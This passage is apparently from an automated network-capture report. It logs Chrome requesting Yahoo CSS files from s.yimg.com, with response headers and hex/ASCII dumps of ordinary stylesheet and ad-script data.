pin-sha256="iduNzFNKpwYZ3se/XV+hXcbUonlLw09QPa6AYUwpu4M="; pin-sha256="lnsM2T/O9/J84sJFdnrpsFp3awZJ+ZZbYpCWhGloaHI="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="uUwZgwDOxcBXrQcntwu+kYFpkiVkOaezL0WYEZ3anJc="; includeSubdomains; report-uri="htt [TRUNCATED]
2024-04-27 22:41:53 UTC	1302	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 28 28 29 20 3d 3e 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 72 75 6e 20 3d 20 28 29 20 3d 3e 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 6f 72 69 67 69 6e 20 3d 20 22 68 74 74 70 73 3a 2f 2f 70 61 2e 79 62 70 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3b 0a 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 69 6e 74 65 72 65 73 74 47 72 6f 75 70 73 20 3d 20 5b 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6e 61 6d 65 3a 20 22 32 39 36 39 32 35 33 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 77 6e 65 72 3a 20 60 24 7b 6f 72 69 67 69 6e 7d 60 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!doctype html><html lang="en"><body> <script> (() => { const run = () => { const origin = "https://pa.ybp.yahoo.com"; const interestGroups = [{ name: "2969253", owner: `${origin}`,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49852	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	556	OUT	GET /aaq/c/80671ac.caas-news_web.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:53 UTC	790	IN	HTTP/1.1 200 OK x-amz-id-2: burBLwp00SWRBE29JBy+zcaY0vZy7Ks+bd41RXm+y45cu1I6vuXOHW8CSwVaOt1DLMnMB7Zrzso= x-amz-request-id: BDHDAR4XNKTAMJ3M Date: Sat, 27 Apr 2024 22:41:54 GMT Last-Modified: Fri, 26 Apr 2024 16:10:19 GMT ETag: "436285e9b3d9dfd06c4de65d5f54180a" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 1IK.bwadmL1sU_xy0fpRnprJvZDNhgUN Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 230369 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 40 6b 65 79 66 72 61 6d 65 73 20 73 6c 69 64 65 55 70 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 32 30 30 25 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 61 64 68 69 64 65 7b 30 25 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 74 6f 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 68 6f 77 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 31 30 70 78 29 7d 38 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 74 6f 7b 6f 70 61 Data Ascii: @keyframes slideUp{0%{transform:translateY(200%)}to{transform:translateY(0)}}@keyframes adhide{0%{visibility:visible}to{visibility:hidden}}@keyframes show-success-message{0%{opacity:0;transform:translateY(10px)}80%{opacity:1;transform:translateY(0)}to{opa
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 3a 66 61 6c 6c 62 61 63 6b 7d 2e 63 61 61 73 7b 66 6f 6e 74 3a 31 33 70 78 2f 31 2e 36 22 59 61 68 6f 6f 53 61 6e 73 20 56 46 22 2c 59 61 68 6f 6f 20 53 61 6e 73 2c 59 61 68 6f 6f 53 61 6e 73 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 64 69 73 70 6c 61 79 3a 66 6c 6f 77 2d 72 6f 6f 74 3b 7a 6f 6f 6d 3a 31 7d 2e 63 61 61 73 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 36 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 66 6f 6e 74 2d 73 74 72 65 74 63 68 3a 6e 6f 72 6d 61 Data Ascii: :fallback}.caas{font:13px/1.6"YahooSans VF",Yahoo Sans,YahooSans,"Helvetica Neue",Helvetica,Arial,sans-serif;background:#fff;word-wrap:break-word;display:flow-root;zoom:1}.caas h1{font-size:2.46em;line-height:1.25;margin:0;color:#232a31;font-stretch:norma
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 69 6e 3a 34 30 70 78 20 30 3b 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 7d 2e 63 61 61 73 2d 61 64 73 2d 73 6c 6f 74 2d 72 61 70 69 64 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 21 69 6d 70 6f 72 74 61 6e 74 3b 2a 63 6c 69 70 3a 72 65 63 74 28 31 70 78 20 31 70 78 20 31 70 78 20 31 70 78 29 3b 63 6c 69 70 3a 72 65 63 74 28 31 70 78 2c 31 70 78 2c 31 70 78 2c 31 70 78 29 3b 70 61 64 64 69 6e 67 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 68 65 69 67 68 74 3a 31 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 31 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 61 61 73 2d Data Ascii: in:40px 0;color:#e0e4e9}.caas-ads-slot-rapid{text-decoration:none;pointer-events:none;position:absolute!important;*clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);padding:0!important;border:0!important;height:1px!important;width:1px!important}.caas-
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 6e 74 61 69 6e 65 72 20 2e 63 61 61 73 2d 74 6f 63 2d 73 75 62 68 65 61 64 69 6e 67 2d 6c 69 6e 6b 2e 6e 6f 2d 68 65 61 64 69 6e 67 7b 6f 70 61 63 69 74 79 3a 31 30 30 25 7d 2e 63 61 61 73 20 2e 63 61 61 73 2d 74 6f 63 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 63 61 61 73 2d 74 6f 63 2d 68 65 61 64 69 6e 67 2d 6c 69 6e 6b 2e 61 63 74 69 76 65 3a 3a 62 65 66 6f 72 65 2c 2e 63 61 61 73 20 2e 63 61 61 73 2d 74 6f 63 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 63 61 61 73 2d 74 6f 63 2d 73 75 62 68 65 61 64 69 6e 67 2d 6c 69 6e 6b 2e 61 63 74 69 76 65 3a 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 2d 31 70 78 3b 74 6f 70 3a 30 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 70 78 Data Ascii: ntainer .caas-toc-subheading-link.no-heading{opacity:100%}.caas .caas-toc-container .caas-toc-heading-link.active::before,.caas .caas-toc-container .caas-toc-subheading-link.active::before{content:"";position:absolute;left:-1px;top:0;height:100%;width:1px
2024-04-27 22:41:53 UTC	37	IN	Data Raw: 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 7b 6f 75 74 6c 69 6e 65 3a 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 Data Ascii: -button:active{outline:0;text-decorat
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 69 6f 6e 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 23 30 30 33 61 62 63 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 61 62 63 7d 2e 63 61 61 73 2d 62 75 74 74 6f 6e 2e 6e 6f 62 6f 72 64 65 72 2c 61 2e 63 61 61 73 2d 62 75 74 74 6f 6e 2e 6e 6f 62 6f 72 64 65 72 7b 62 6f 72 64 65 72 3a 30 7d 2e 63 61 61 73 2d 62 75 74 74 6f 6e 2e 6e 6f 62 6f 72 64 65 72 3a 6e 6f 74 28 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 29 2c 61 2e 63 61 61 73 2d 62 75 74 74 6f 6e 2e 6e 6f 62 6f 72 64 65 72 3a 6e 6f 74 28 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 29 7b 6f 75 74 6c 69 6e 65 3a 30 7d 2e 63 61 61 73 2d 62 75 74 74 6f 6e 2e 65 78 70 61 6e 64 2d 62 75 74 74 6f 6e 2c 61 2e 63 61 61 73 2d 62 75 74 74 6f 6e 2e 65 78 70 61 6e 64 2d 62 75 74 74 6f 6e 7b 70 61 64 64 69 6e 67 Data Ascii: ion:none;color:#003abc;border-color:#003abc}.caas-button.noborder,a.caas-button.noborder{border:0}.caas-button.noborder:not(:focus-visible),a.caas-button.noborder:not(:focus-visible){outline:0}.caas-button.expand-button,a.caas-button.expand-button{padding
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 6c 65 66 74 3a 35 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 7d 2e 63 61 61 73 2d 69 6d 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6e 6f 68 65 69 67 68 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 61 61 73 2d 69 6d 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6e 6f 68 65 69 67 68 74 20 2e 63 61 61 73 2d 69 6d 67 7b 6d 69 6e 2d 77 69 64 74 68 3a 31 70 78 7d 2e 63 61 61 73 2d 69 6d 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 63 61 61 73 2d 69 6d 67 2d 6c 6f 61 64 65 72 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 32 70 78 20 31 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 38 29 2c 30 2d 31 70 78 20 33 70 78 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 36 29 3b 6f 76 65 72 66 6c 6f 77 3a 68 Data Ascii: left:50%;transform:translate(-50%,-50%)}.caas-img-container.noheight{text-align:center}.caas-img-container.noheight .caas-img{min-width:1px}.caas-img-container.caas-img-loader{box-shadow:0 1px 2px 1px rgba(0,0,0,.08),0-1px 3px 0 rgba(0,0,0,.06);overflow:h
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 2e 63 61 61 73 2d 61 74 74 72 2e 61 75 74 68 6f 72 20 2e 63 61 61 73 2d 61 74 74 72 2d 6c 6f 67 6f 20 2e 63 61 61 73 2d 69 6d 67 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 38 25 7d 2e 63 61 61 73 2d 61 74 74 72 20 61 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 63 61 61 73 2d 61 74 74 72 20 61 3a 61 63 74 69 76 65 2c 2e 63 61 61 73 2d 61 74 74 72 20 61 3a 66 6f 63 75 73 2c 2e 63 61 61 73 2d 61 74 74 72 20 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 63 61 61 73 2d 61 74 74 Data Ascii: {margin-bottom:10px;display:flex;flex-direction:row;align-items:center}.caas-attr.author .caas-attr-logo .caas-img{border-radius:48%}.caas-attr a{text-decoration:none}.caas-attr a:active,.caas-attr a:focus,.caas-attr a:hover{text-decoration:none}.caas-att
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 63 61 61 73 2d 61 74 74 72 2d 70 72 6f 76 69 64 65 72 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 63 61 61 73 2d 61 74 74 72 2d 69 74 65 6d 2d 61 75 74 68 6f 72 73 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 33 7d 2e 63 61 61 73 2d 61 74 74 72 2d 69 74 65 6d 2d 61 75 74 68 6f 72 73 2e 63 6f 6c 6c 61 70 73 65 64 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 2d 63 6c 61 6d 70 3a 32 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 3b 70 6f 73 69 74 Data Ascii: ing-right:5px;vertical-align:middle}.caas-attr-provider{padding-right:5px}.caas-attr-item-authors{position:relative;display:block;line-height:1.43}.caas-attr-item-authors.collapsed{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;posit
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 6c 6c 61 70 73 65 64 3a 62 65 66 6f 72 65 2c 2e 63 61 61 73 2d 63 61 72 6f 75 73 65 6c 20 2e 64 65 73 63 72 69 70 74 69 6f 6e 2e 63 6f 6c 6c 61 70 73 65 2d 63 61 70 74 69 6f 6e 2e 63 6f 6c 6c 61 70 73 65 64 20 2e 65 78 70 61 6e 64 2d 62 75 74 74 6f 6e 2e 63 6f 6c 6c 61 70 73 65 64 3a 62 65 66 6f 72 65 2c 2e 63 61 61 73 2d 66 69 67 75 72 65 20 2e 63 61 70 74 69 6f 6e 2d 63 6f 6c 6c 61 70 73 65 2e 63 6f 6c 6c 61 70 73 65 64 20 2e 65 78 70 61 6e 64 2d 62 75 74 74 6f 6e 2e 63 6f 6c 6c 61 70 73 65 64 3a 62 65 66 6f 72 65 2c 2e 63 61 61 73 2d 70 68 6f 74 6f 73 65 74 20 2e 63 61 70 74 69 6f 6e 2d 63 6f 6c 6c 61 70 73 65 2e 63 6f 6c 6c 61 70 73 65 64 20 2e 65 78 70 61 6e 64 2d 62 75 74 74 6f 6e 2e 63 6f 6c 6c 61 70 73 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 Data Ascii: llapsed:before,.caas-carousel .description.collapse-caption.collapsed .expand-button.collapsed:before,.caas-figure .caption-collapse.collapsed .expand-button.collapsed:before,.caas-photoset .caption-collapse.collapsed .expand-button.collapsed:before{conte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49854	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	553	OUT	GET /aaq/cprops/colors_1.1.27.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:53 UTC	813	IN	HTTP/1.1 200 OK x-amz-id-2: WTR7Umv/iYAsW1Akua0AfylStEcDbB6b3YcEuAnkAlLqNCASZ3ofsQXjIPtzLDu6/ms2G2gLriU= x-amz-request-id: BN472BKFX5EP2CQB Date: Sat, 27 Apr 2024 22:29:47 GMT Last-Modified: Tue, 10 Jan 2023 00:56:08 GMT ETag: "14b81b9d43cc8eb81ae45eebbaae258c" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: NXuB5LUlzqQuAXf127xyo2NVNfa.SWqk Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 6179 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 727 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 3a 72 6f 6f 74 2c 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3d 64 61 72 6b 5d 20 5b 64 61 74 61 2d 6d 61 69 6e 74 61 69 6e 2d 63 6f 6c 6f 72 5d 2c 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 2d 65 6e 61 62 6c 65 64 5d 20 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3d 6c 69 67 68 74 5d 2c 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 2d 65 6e 61 62 6c 65 64 5d 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3d 6c 69 67 68 74 5d 7b 2d 2d 62 61 72 62 69 65 3a 23 66 38 30 65 35 64 3b 2d 2d 62 61 72 6e 65 79 3a 23 63 63 30 30 38 63 3b 2d 2d 62 61 74 63 61 76 65 3a 23 32 33 32 61 33 31 3b 2d 2d 62 61 74 74 6c 65 73 68 69 70 3a 23 35 62 36 33 36 61 3b 2d 2d 62 6c 61 63 6b 3a 23 30 30 30 Data Ascii: :root,html[data-color-scheme=dark] [data-maintain-color],html[data-color-theme-enabled] [data-color-scheme=light],html[data-color-theme-enabled][data-color-scheme=light]{--barbie:#f80e5d;--barney:#cc008c;--batcave:#232a31;--battleship:#5b636a;--black:#000
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 61 74 69 6f 6e 2d 31 3a 30 20 31 70 78 20 30 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 29 2c 31 29 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 32 3a 30 20 30 20 31 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 31 29 2c 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 30 38 29 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 33 3a 30 20 30 20 31 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 30 38 29 2c 30 20 34 70 78 20 38 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 31 29 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 34 3a 30 20 30 20 32 70 78 20 72 67 62 61 28 76 61 72 28 2d Data Ascii: ation-1:0 1px 0 rgba(var(--rgb-dirty-seagull),1);--elevation-2:0 0 1px rgba(var(--rgb-black),0.1),0 2px 4px rgba(var(--rgb-black),0.08);--elevation-3:0 0 1px rgba(var(--rgb-black),0.08),0 4px 8px rgba(var(--rgb-black),0.1);--elevation-4:0 0 2px rgba(var(-
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 72 67 62 2d 77 68 69 74 65 3a 32 39 2c 33 34 2c 34 30 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 31 3a 30 20 31 70 78 20 30 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 31 29 2c 30 20 30 20 31 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 38 35 29 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 32 3a 30 20 30 20 31 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 39 29 2c 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 39 32 29 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 33 3a 30 20 30 20 31 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 39 32 29 2c 30 20 34 70 78 20 38 70 78 20 72 67 62 61 28 76 Data Ascii: rgb-white:29,34,40;--elevation-1:0 1px 0 rgba(var(--rgb-black),1),0 0 1px rgba(var(--rgb-black),0.85);--elevation-2:0 0 1px rgba(var(--rgb-black),0.9),0 2px 4px rgba(var(--rgb-black),0.92);--elevation-3:0 0 1px rgba(var(--rgb-black),0.92),0 4px 8px rgba(v
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 35 3b 2d 2d 72 67 62 2d 67 72 65 79 2d 68 61 69 72 3a 34 34 2c 35 34 2c 36 33 3b 2d 2d 72 67 62 2d 69 6e 6b 77 65 6c 6c 3a 32 35 35 2c 32 35 35 2c 32 35 35 3b 2d 2d 72 67 62 2d 77 68 69 74 65 3a 32 39 2c 33 34 2c 34 30 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 31 3a 30 20 31 70 78 20 30 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 31 29 2c 30 20 30 20 31 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 38 35 29 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 32 3a 30 20 30 20 31 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 39 29 2c 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 39 32 29 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e Data Ascii: 5;--rgb-grey-hair:44,54,63;--rgb-inkwell:255,255,255;--rgb-white:29,34,40;--elevation-1:0 1px 0 rgba(var(--rgb-black),1),0 0 1px rgba(var(--rgb-black),0.85);--elevation-2:0 0 1px rgba(var(--rgb-black),0.9),0 2px 4px rgba(var(--rgb-black),0.92);--elevation
2024-04-27 22:41:53 UTC	979	IN	Data Raw: 65 70 73 3a 23 37 64 63 62 66 66 3b 2d 2d 70 6c 61 79 64 6f 68 3a 23 32 31 64 38 37 64 3b 2d 2d 72 61 6d 6f 6e 65 73 3a 23 32 63 33 36 33 66 3b 2d 2d 73 61 70 70 68 69 72 65 3a 23 32 66 30 30 36 30 3b 2d 2d 73 63 6f 6f 74 65 72 3a 23 30 30 36 33 65 62 3b 2d 2d 73 65 61 2d 66 6f 61 6d 3a 23 31 31 64 33 63 64 3b 2d 2d 73 68 61 72 6b 3a 23 38 32 38 61 39 33 3b 2d 2d 73 6b 79 3a 23 31 32 61 39 66 66 3b 2d 2d 73 6d 75 72 66 65 74 74 65 3a 23 31 38 38 66 66 66 3b 2d 2d 73 6f 6c 6f 2d 63 75 70 3a 23 65 62 30 66 32 39 3b 2d 2d 73 70 69 72 75 6c 69 6e 61 3a 23 30 30 39 63 39 34 3b 2d 2d 73 74 61 72 66 69 73 68 3a 23 37 37 35 39 66 66 3b 2d 2d 73 77 65 64 69 73 68 2d 66 69 73 68 3a 23 66 66 33 33 33 61 3b 2d 2d 74 68 61 6e 6f 73 3a 23 39 30 37 63 66 66 3b 2d 2d 74 Data Ascii: eps:#7dcbff;--playdoh:#21d87d;--ramones:#2c363f;--sapphire:#2f0060;--scooter:#0063eb;--sea-foam:#11d3cd;--shark:#828a93;--sky:#12a9ff;--smurfette:#188fff;--solo-cup:#eb0f29;--spirulina:#009c94;--starfish:#7759ff;--swedish-fish:#ff333a;--thanos:#907cff;--t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49853	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	613	OUT	GET /aaq/fp/css/react-wafer-shopping.Shopping.atomic.ltr.d156b541c028fe7d3167b101d15500f6.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:53 UTC	837	IN	HTTP/1.1 200 OK x-amz-id-2: DseG4UUky7tWYe8B+MblttUQrJRuAfDQHyHpPmzvepKgFjAt+IlBIefxpC1FHtWJ4ro90B5+1cI= x-amz-request-id: BV36PMQ6GEM6SFZ1 Date: Sat, 27 Apr 2024 11:18:28 GMT Last-Modified: Thu, 26 Jan 2023 20:02:55 GMT ETag: "d156b541c028fe7d3167b101d15500f6" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: ID83SH3rHZwgttSuVe3SPvWHmQBqket7 Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 180 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 41006 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
